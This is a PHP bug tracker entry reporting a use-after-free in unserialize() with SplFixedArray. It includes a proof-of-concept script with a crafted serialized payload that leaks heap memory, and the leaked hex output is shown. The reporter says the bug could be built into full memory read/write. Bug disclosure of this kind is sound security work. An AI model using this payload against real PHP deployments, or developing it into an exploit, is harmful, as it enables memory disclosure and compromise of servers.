|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2017-01-12 12:01 UTC] rossa dot milan at gmail dot com
-PHP Version: 7.1.0
+PHP Version: 7.*
[2017-01-12 12:01 UTC] rossa dot milan at gmail dot com
[2017-01-16 07:54 UTC] stas@php.net
-Assigned To:
+Assigned To: nikic
[2017-01-16 07:54 UTC] stas@php.net
[2017-03-30 20:29 UTC] nikic@php.net
[2017-03-30 20:42 UTC] nikic@php.net
[2017-03-31 23:57 UTC] stas@php.net
[2017-04-02 11:56 UTC] zeev@php.net
[2017-04-03 21:11 UTC] stas@php.net
[2017-04-04 19:50 UTC] stas@php.net
-Type: Security
+Type: Bug
[2017-06-25 17:49 UTC] nikic@php.net
[2017-06-25 17:49 UTC] nikic@php.net
-Status: Assigned
+Status: Closed
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Oct 26 13:00:02 2025 UTC |
Description: ------------ Use After Free in unserialize() with SplFixedArray. It is possible to leak memory and create gadgets to gain full memory read/write access. Demo of memory leak in script bellow. Test script: --------------- <?php for ($i=0; $i<1000; $i++) $z[$i] = str_repeat('A', 10); $s = 'O:13:"SplFixedArray":2:{i:0;s:10:"1234567890";i:1;r:2;}'; $o = unserialize($s); $b = &$o[1]; $o[1] = 0xbaad; for ($i=0; $i<4000; $i++) { echo(bin2hex($o[0][$i])); } echo("\n"); Expected result: ---------------- 31323334353637383930 Actual result: -------------- 31743d5554462d3800300061790000000100000006000000000000000a00000031323334353637383930006179000000001147b50d0000000614000000000000adba00001ab9ffbf0400000000000000801147b5000000...0000000000000000000000000201f47b500000000000000000000000000000000000000000000000000000000401f47b500000000000000000000000000000000000000000000000000000000601f47b500000000000000000000000000000000000000000000000000000000801f47b500000000000000000000000000000000000000000000000000000000a01f47b500000000000000000000000000000000000000000000000000000000c01f47b500000000000000000000000000000000000000000000000000000000e01f47b50000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000006000000000000000a000000414141414141414141410000000000000100000006000000000000000a000000414141414141414141410000000000000100000006000000000000000a000000414141414141414141410000000000000100000006000000000000000a000000414141414141414141410000000000000100000006000000000000000a000000414141414141414141410000000000000100000006000000000000000a000000